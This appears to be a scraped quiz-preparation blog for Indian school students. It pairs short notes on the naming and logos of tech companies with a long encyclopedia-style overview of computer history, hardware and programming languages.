‘Nokia’ in Finnish means means a dark, furry animal we now call the Pine Marten weasel. However, this has little to do with the current business and brand image. The origin of the company name, can rather be attributed to the setting up of the wood pulp mill (set up by Knut Fredrik Idestam), on the banks of Nokianvirta river in the town of Nokia.
The Nokia Corporation was formed as a merger of Finnish Rubber Works (which also used a Nokia brand), the Nokia Wood Mill, and the Finnish Cable Works in 1967. The company has sold a variety of products in the past including television, shoes, car tires and others. The evolution and the meaning of the logo is unclear due to the changing business over the years.

Google
Google has had many logos since its renaming from BackRub. The current official Google logo was designed by Ruth Kedar, and is a wordmark based on the Catull typeface.The company also includes various modifications and/or humorous features, such as cartoon modifications of their logo for use on holidays, birthdays of famous people, and major events, such as the Olympics. These special logos, some designed by Dennis Hwang, have become known as Google Doodles. Google subsidiary YouTube has also featured some custom logos to highlight special events occurring on the site, these have been unofficially nicknamed "Yoodles".


                                                                           (present since may 6,2010)

AT&T
"The [Bass & Yager] design firm had created the famous bell symbol for the nationwide phone monopoly in the late 1960s. This icon--which achieved a remarkable 93 percent recognition rate in the United States [emphasis added] --aspired to the simplicity and directness of a sans serif letterform. In 1984, the familiar bell symbol was transferred to the divested "Baby Bells," and Bass & Yager designed a striated sphere for AT&T, aiming to signify the corporation's international stature and the ascendance of digital communications." - AT&T

Skype

Skype is the most popular online communication service in the world with 663 million users as of September 2011. Founded by Niklas Zennstrom and Janus Friis in 2003, the company was acquired by Microsoft Corp. in May 2011 for $8.5 billion in cash.

Motorola
In June 1955 Motorola introduced a new brand logo, the stylized "M" insignia, or "emsignia." A company leader said the two aspiring triangle peaks arching into an abstracted 'M' typified the progressive leadership-minded outlook of the company.

(present logo)

Siemens

Siemens' principal activities are in the fields of industry, energy, transportation and healthcare. It is organized into five main divisions: Industry, Energy, Healthcare, Infastructure & Cities, and Siemens Financial Services (SFS). Siemens and its subsidiaries employ approximately 360,000 people across nearly 190 countries and reported global revenue of approx 73.5 billion euros for the year of 2011.

Philips
Established in 1891 in Eindhoven, the Netherlands, Philips & Co. was founded to meet the growing demand for light bulbs following the commercialization of electricity.

I call it My Computer

2012-09-16T05:32:00.000-07:00

Some Basic information we begin...

Computer

INDRODUCTION
Computer, electronic device that can receive a set of instructions, or program, and then carry out this program by performing calculations on numerical data or by manipulating other forms of information.of high technology could not have come about except for the development of the computer. Different types and sizes of computers find uses throughout society in the storage and handling of data, from secret governmental files to banking transactions to private household accounts. Computers have opened up a new era in manufacturing through the techniques of automation, and they have enhanced modern communication systems. They are essential tools in almost every field of research and applied technology, from constructing models of the universe to producing tomorrow’s weather reports, and their use has in itself opened up new areas of conjecture. Database services and computer networks make available a great variety of information sources. The same advanced techniques also make possible invasions of personal and business privacy. Computer crime has become one of the many risks that are part of the price of modern technology.
The modern world

TYPES OF COMPUTERS

Two main types of computers are in use today, analogue and digital. Analogue computers exploit the mathematical similarity between physical interrelationships in certain problems, and employ electronic or hydraulic circuits (see Fluidics) to simulate the physical problem. Digital computers solve problems by performing calculations and by dealing with each number digit by digit.
Installations that contain elements of both digital and analogue computers are called hybrid computers. They are usually used for problems in which large numbers of complex equations, known as time integrals, are to be computed. Data in analogue form can also be fed into a digital computer by means of an analogue-to-digital converter, and the same is true of the reverse situation (see Digital-to-Analogue Converter).

Analogue Computers

The simplest analogue calculating device is the slide rule, which employs specially calibrated scales to facilitate multiplication, division, and other functions. The analogue computer is a more sophisticated electronic or hydraulic device that is designed to handle input in terms of, for example, voltage levels or hydraulic pressures, rather than numerical data. In a typical electronic analogue computer, the inputs are converted into voltages that may be added or multiplied using specially designed circuit elements. The answers are continuously generated for display or for conversion to another desired form.

Digital Computers

Everything that a digital computer does is based on one operation: the ability to determine whether a switch, or "gate", is open or closed. That is, the computer can recognize only two states in any of its microscopic circuits: on or off, high voltage or low voltage, or—in the case of numbers—0 or 1. The speed at which the computer performs this simple act, however, is what makes it a marvel of modern technology. Computer speeds are measured in megahertz, or millions of cycles per second. A computer with a "clock speed" of 100 MHz—a fairly representative speed for a microcomputer—is capable of executing 100 million discrete operations each second. Supercomputers used in research and defence applications attain speeds of billions of cycles per second.
Digital computer speed and calculating power are further enhanced by the amount of data handled during each cycle. If a computer checks only one switch at a time, that switch can represent only two commands or numbers; thus ON would symbolize one operation or number, and OFF would symbolize another. By checking groups of switches linked as a unit, however, the computer increases the number of operations it can recognize at each cycle. For example, a computer that checks two switches at one time can represent four numbers (0-3) or can execute one of four instructions at each cycle, one for each of the following switch patterns: OFF-OFF (0); OFF-ON (1); ON-OFF (2); or ON-ON (3).

III

HISTORY

The first adding machine, a precursor of the digital computer, was devised in 1642 by the French scientist, mathematician, and philosopher Blaise Pascal. This device employed a series of ten-toothed wheels, each tooth representing a digit from 0 to 9. The wheels were connected so that numbers could be added to each other by advancing the wheels by a correct number of teeth. In the 1670s the German philosopher and mathematician Gottfried Wilhelm Leibniz improved on this machine by devising one that could also multiply.
The French inventor Joseph-Marie Jacquard, in designing an automatic loom, used thin, perforated wooden boards to control the weaving of complicated designs. During the 1880s the American statistician Herman Hollerith conceived the idea of using perforated cards, similar to Jacquard’s boards, for processing data. Employing a system that passed punched cards over electrical contacts, he was able to compile statistical information for the 1890 United States census.

The Analytical Engine

Also in the 19th century, the British mathematician and inventor Charles Babbage worked out the principles of the modern digital computer. He conceived a number of machines, such as the Difference Engine, that were designed to handle complicated mathematical problems. Many historians consider Babbage and his associate, the mathematician Augusta Ada Byron, Countess of Lovelace, the true pioneers of the modern digital computer. One of Babbage’s designs, the Analytical Engine, had many features of a modern computer. It had an input stream in the form of a deck of punched cards, a "store" for saving data, a "mill" for arithmetic operations, and a printer that made a permanent record. Babbage failed to put this idea into practice, though it may well have been technically possible at that date.

Early Computers

Analogue computers began to be built in the late 19th century. Early models calculated by means of rotating shafts and gears. Numerical approximations of equations too difficult to solve in any other way were evaluated with such machines. Lord Kelvin built a mechanical tide predictor that was a specialized analogue computer. During World Wars I and II, mechanical and, later, electrical analogue computing systems were used as torpedo course predictors in submarines and as bombsight controllers in aircraft. Another system was designed to predict spring floods in the Mississippi River basin.

Electronic Computers

During World War II a team of scientists and mathematicians, working at Bletchley Park, north of London, created one of the first all-electronic digital computers: Colossus. By December 1943, Colossus, which incorporated 1,500 vacuum tubes, was operational. It was used by the team headed by Alan Turing, in the largely successful attempt to crack German radio messages enciphered in the Enigma code.
Independently of this, in the United States, a prototype electronic machine had been built as early as 1939, by John Atanasoff and Clifford Berry at Iowa State College. This prototype and later research were completed quietly and later overshadowed by the development of the Electronic Numerical Integrator And Computer ( ENIAC) in 1945. ENIAC was granted a patent, which was overturned decades later, in 1973, when the machine was revealed to have incorporated principles first used in the Atanasoff-Berry Computer (ABC).
ENIAC contained 18,000 vacuum tubes and had a speed of several hundred multiplications per minute, but originally its program was wired into the processor and had to be manually altered. Later machines were built with program storage, based on the ideas of the Hungarian-American mathematician John von Neumann. The instructions, like the data, were stored within a "memory", freeing the computer from the speed limitations of the paper-tape reader during execution and permitting problems to be solved without rewiring the computer. See Von Neumann Architecture.
The use of the transistor in computers in the late 1950s marked the advent of smaller, faster, and more versatile logical elements than were possible with vacuum-tube machines. Because transistors use much less power and have a much longer life, this development alone was responsible for the improved machines called second-generation computers. Components became smaller, as did inter-component spacings, and the system became much less expensive to build.

Integrated Circuits

Late in the 1960s the integrated circuit, or IC, was introduced, making it possible for many transistors to be fabricated on one silicon substrate, with interconnecting wires plated in place. The IC resulted in a further reduction in price, size, and failure rate. The microprocessor became a reality in the mid-1970s with the introduction of the large-scale integrated (LSI) circuit and, later, the very large-scale integrated (VLSI) circuit (microchip), with many thousands of interconnected transistors etched into a single silicon substrate.
To return, then, to the switching capabilities of a modern computer: computers in the 1970s were generally able to handle eight switches at a time. That is, they could deal with eight binary digits, or bits, of data, at every cycle. A group of eight bits is called a byte, each byte containing 256 possible patterns of ONs and OFFs (or 1s and 0s). Each pattern is the equivalent of an instruction, a part of an instruction, or a particular type of datum, such as a number or a character or a graphics symbol. The pattern 11010010, for example, might be binary data—in this case, the decimal number 210 (see Number Systems)—or it might be an instruction telling the computer to compare data stored in its switches to data stored in a certain memory-chip location.
The development of processors that can handle 16, 32, and 64 bits of data at a time has increased the speed of computers. The complete collection of recognizable patterns—the total list of operations—of which a computer is capable is called its instruction set. Both factors—the number of bits that can be handled at one time, and the size of instruction sets—continue to increase with the ongoing development of modern digital computers.

HARDWARE

Modern digital computers are all conceptually similar, regardless of size. Nevertheless, they can be divided into several categories on the basis of cost and performance: the personal computer or microcomputer, a relatively low-cost machine, usually of desk-top size (though "laptops" are small enough to fit in a briefcase, and "palmtops" can fit into a pocket); the workstation, a microcomputer with enhanced graphics and communications capabilities that make it especially useful for office work; the minicomputer, generally too expensive for personal use, with capabilities suited to a business, school, or laboratory; and the mainframe computer, a large, expensive machine with the capability of serving the needs of major business enterprises, government departments, scientific research establishments, or the like (the largest and fastest of these are called supercomputers).
A digital computer is not a single machine: rather, it is a system composed of five distinct elements: (1) a central processing unit; (2) input devices; (3) memory storage devices; (4) output devices; and (5) a communications network, called a bus, which links all the elements of the system and connects the system to the external world.

Central Processing Unit (CPU)

The CPU may be a single chip or a series of chips that perform arithmetic and logical calculations and that time and control the operations of the other elements of the system. Miniaturization and integration techniques made possible the development of the microprocessor, a CPU chip that incorporates additional circuitry and memory. The result is smaller computers and reduced support circuitry. Microprocessors are used in personal computers.
Most CPU chips and microprocessors are composed of four functional sections: (1) an arithmetic/logic unit; (2) registers; (3) a control section; and (4) an internal bus. The arithmetic/logic unit gives the chip its calculating ability and permits arithmetical and logical operations. The registers are temporary storage areas that hold data, keep track of instructions, and hold the location and results of these operations. The control section has three principal duties. It times and regulates the operations of the entire computer system; its instruction decoder reads the patterns of data in a designated register and translates the pattern into an activity, such as adding or comparing; and its interrupt unit indicates the order in which individual operations use the CPU, and regulates the amount of CPU time that each operation may consume.
The last segment of a CPU chip or microprocessor is its internal bus, a network of communication lines that connects the internal elements of the processor and also leads to external connectors that link the processor to the other elements of the computer system. The three types of CPU buses are: (1) a control bus consisting of a line that senses input signals and another line that generates control signals from within the CPU; (2) the address bus, a one-way line from the processor that handles the location of data in memory addresses; and (3) the data bus, a two-way transfer line that both reads data from memory and writes new data into memory.

Input Devices

These devices enable a computer user to enter data, commands, and programs into the CPU. The most common input device is the keyboard. Information typed at the typewriter-like keyboard is translated by the computer into recognizable patterns. Other input devices include the mouse, which translates physical motion into motion on a computer video display screen; the joystick, which performs the same function, and is favoured for computer games; the trackball, which replaces the mouse on laptops; scanners, which "read" words or symbols on a printed page and translate them into electronic patterns that the computer can manipulate and store; light pens, which can be used to "write" directly on the monitor screen; and voice recognition systems, which take spoken words and translate them into digital signals for the computer. Storage devices can also be used to input data into the processing unit.

Storage Devices

Computer systems can store data internally (in memory) and externally (on storage devices). Internally, instructions or data can be temporarily stored in silicon RAM (Random Access Memory) chips that are mounted directly on the computer’s main circuit board, or in chips mounted on peripheral cards that plug into the computer’s main circuit board. These RAM chips consist of millions of switches that are sensitive to changes in electric current. So-called static RAM chips hold their data as long as current flows through the circuit, whereas dynamic RAM (DRAM) chips need high or low voltages applied at regular intervals—every two milliseconds or so—if they are not to lose their information.
Another type of internal memory consists of silicon chips on which all switches are already set. The patterns on these ROM (Read-Only Memory) chips form commands, data, or programs that the computer needs to function correctly. RAM chips are like pieces of paper that can be written on, erased, and used again; ROM chips are like a book, with its words already set on each page. Both RAM and ROM chips are linked by circuitry to the CPU.
External storage devices, which may actually be located within the computer housing, are external to the main circuit board. These devices store data as charges on a magnetically sensitive medium such as a magnetic tape or, more commonly, on a disk coated with a fine layer of metallic particles. The most common external storage devices are so-called floppy disks and hard disks, although most large computer systems use banks of magnetic tape storage units. The floppy disks in normal use store about 800 kilobytes (a kilobyte is 1,024 bytes) or about 1.4 megabytes (1 megabyte is slightly more than a million bytes). Hard, or "fixed", disks cannot be removed from their disk-drive cabinets, which contain the electronics to read and write data on to the magnetic disk surfaces. Hard disks currently used with personal computers can store from several hundred megabytes to several gigabytes (1 gigabyte is a billion bytes). CD-ROM technology, which uses the same laser techniques that are used to create audio compact discs (CDs), normally produces storage capacities up to about 800 megabytes.

Output Devices

These devices enable the user to see the results of the computer’s calculations or data manipulations. The most common output device is the video display unit (VDU), a monitor that displays characters and graphics on a television-like screen. A VDU usually has a cathode ray tube like an ordinary television set, but small, portable computers use liquid crystal displays (LCDs) or electroluminescent screens. Other standard output devices include printers and modems. A modem links two or more computers by translating digital signals into analogue signals so that data can be transmitted via analogue telephone lines.

Operating Systems

Different types of peripheral devices—disk drives, printers, communications networks, and so on—handle and store data differently from the way the computer handles and stores it. Internal operating systems, usually stored in ROM memory, were developed primarily to coordinate and translate data flows from dissimilar sources, such as disk drives or coprocessors (processing chips that operate simultaneously with the central unit). An operating system is a master control program, permanently stored in memory, that interprets user commands requesting various kinds of services—commands such as display, print, or copy a data file; list all files in a directory; or execute a particular program.

PROGRAMMING

A program is a sequence of instructions that tells the hardware of a computer what operations to perform on data. Programs can be built into the hardware itself, or they may exist independently in a form known as software. In some specialized, or "dedicated", computers the operating instructions are embedded in their circuitry; common examples are the microcomputers found in calculators, wristwatches, car engines, and microwave ovens. A general-purpose computer, on the other hand, although it contains some built-in programs (in ROM) or instructions (in the processor chip), depends on external programs to perform useful tasks. Once a computer has been programmed, it can do only as much or as little as the software controlling it at any given moment enables it to do. Software in widespread use includes a wide range of applications programs—instructions to the computer on how to perform various tasks.

Languages

A computer must be given instructions in a programming language that it understands—that is, a particular pattern of binary digital information. On the earliest computers, programming was a difficult, laborious task, because vacuum-tube ON-OFF switches had to be set by hand. Teams of programmers often took days to program simple tasks such as sorting a list of names. Since that time numbers of computer languages have been devised, some with particular kinds of functioning in mind and others aimed more at ease of use—the "user-friendly" approach.

Machine Language

The computer’s own binary-based language, or machine language, is difficult for human beings to use. The programmer must input every command and all data in binary form, and a basic operation such as comparing the contents of a register to the data in a memory-chip location might look like this: 11001010 00010111 11110101 00101011. Machine-language programming is such a tedious, time-consuming task that the time saved in running the program rarely justifies the days or weeks needed to write the program.

Assembly Language

One method programmers devised to shorten and simplify the process is called assembly-language programming. By assigning a short (usually three-letter) mnemonic code to each machine-language command, assembly-language programs could be written and "debugged"—cleaned of logic and data errors—in a fraction of the time needed by machine-language programmers. In assembly language, each mnemonic command and its symbolic operands equals one machine instruction. An assembler program translates the source code, a list of mnemonic operation codes and symbolic operands, into object code, that is into machine language, and executes the program.
Each assembly language, however, can be used with only one type of CPU chip or microprocessor. Programmers who expended much time and effort to learn how to program one computer had to learn a new programming style each time they worked on another machine. What was needed was a shorthand method by which one symbolic statement could represent a sequence of many machine-language instructions, and a way that would allow the same program to run on several types of machines. These needs led to the development of high-level languages.

High-Level Languages

High-level languages often use English words—for example, LIST, PRINT, OPEN, and so on—as commands that might stand for a sequence of tens or hundreds of machine-language instructions. The commands are entered from the keyboard or from a program in memory or in a storage device, and they are intercepted by a program that translates them into machine-language instructions.
Translator programs are of two kinds: interpreters and compilers. With an interpreter, programs that loop back to re-execute part of their instructions reinterpret the same instruction each time it appears, so interpreted programs run much more slowly than machine-language programs. Compilers, by contrast, translate an entire program into machine language prior to execution, so such programs run as rapidly as though they were written directly in machine language.
The American computer scientist Grace Hopper is credited with implementing the first commercially oriented computer language. After programming an experimental computer at Harvard University, she worked on the UNIVAC I and II computers and developed a commercially usable high-level programming language called FLOW-MATIC. To facilitate computer use in scientific applications, IBM then developed a language that would simplify work involving complicated mathematical formulas. Begun in 1954 and completed in 1957, FORTRAN (FORmula TRANslator) was the first comprehensive high-level programming language that was widely used.
In 1957 the Association for Computing Machinery in the United States set out to develop a universal language that would correct some of FORTRAN’s shortcomings. A year later they released ALGOL (ALGOrithmic Language), another scientifically oriented language; widely used in Europe in the 1960s and 1970s, it has since been superseded by newer languages, while FORTRAN continues to be used because of the huge investment in existing programs. COBOL (Common Business-Oriented Language), a commercial and business programming language, concentrated on data organization and file-handling and is widely used today in business.
BASIC (Beginner’s All-purpose Symbolic Instruction Code) was developed at Dartmouth College in the early 1960s for use by non-professional computer users. The language came into almost universal use with the microcomputer explosion of the 1970s and 1980s. Condemned as slow, inefficient, and inelegant by its detractors, BASIC is nevertheless simple to learn and easy to use. Because many early microcomputers were sold with BASIC built into the hardware (in ROM memory) the language rapidly came into widespread use. The following very simple example of a BASIC program adds the numbers 1 and 2, and displays the result (the numerals 10 to 40 are line numbers):

Although hundreds of different computer languages and variants exist, several others deserve mention. PASCAL, originally designed as a teaching tool, is now one of the most popular microcomputer languages. LOGO was developed to introduce children to computers. C, a language Bell Laboratories designed in the 1970s, is widely used in developing systems programs, as is its successor, C++. LISP and PROLOG are widely used in artificial intelligence. Still further languages have been developed to permit programming in hypermedia, as in CD-ROM and Internet applications.

FUTURE DEVELOPMENTS

One continuing trend in computer development is microminiaturization, the effort to compress more circuit elements into smaller and smaller chip space. For example, in 1999, scientists developed a circuit the size of a single layer of molecules, and in 2000 IBM announced that it had developed new technology to produce computer chips that operate five times faster than the most advanced models to date. Also in 2000, scientists discovered a way to transfer information on an atomic level without relying on traditional wires or circuits. This effect, dubbed the 'quantum mirage', describes how an atom of matter placed in an elliptical-shaped structure on a solid surface reflects itself at other points within the ellipse, thereby relaying information. Researchers are also trying to speed up circuitry functions through the use of superconductivity, the phenomenon of decreased electrical resistance observed in certain materials at very low temperatures. As the physical limits of silicon-chip computer processors are being approached, scientists are exploring the potential of the next generation of computer technology, using, for instance, devices based on deoxyribonucleic acid (DNA).
The "fifth-generation" computer effort to develop computers that can solve complex problems in ways that might eventually merit the description "creative" is another trend in computer development, the ideal goal being true artificial intelligence. One path actively being explored is parallel processing computing, which uses many chips to perform several different tasks at the same time. Parallel processing may eventually be able to duplicate to some degree the complex feedback, approximating, and assessing functions of human thought. One important parallel processing approach is the neural network, which mimics the architecture of the nervous system. Another ongoing trend is the increase in computer networking, which now employs the worldwide data communications system of satellite and cable links to connect computers globally. There is also a great deal of research into the possibility of "optical" computers—hardware that processes not pulses of electricity but much faster pulses of light.
　

Source Internet

All about this blog

2012-09-16T05:00:00.002-07:00

This Blog is to help those into tech quizzing and related stuff.
We mostly concentrate on tcs it wiz which has grand participation in india and had hundreds of schools participating in it .
So through this blog we would like to bridge the require for adequate study material.
Happy Reading :)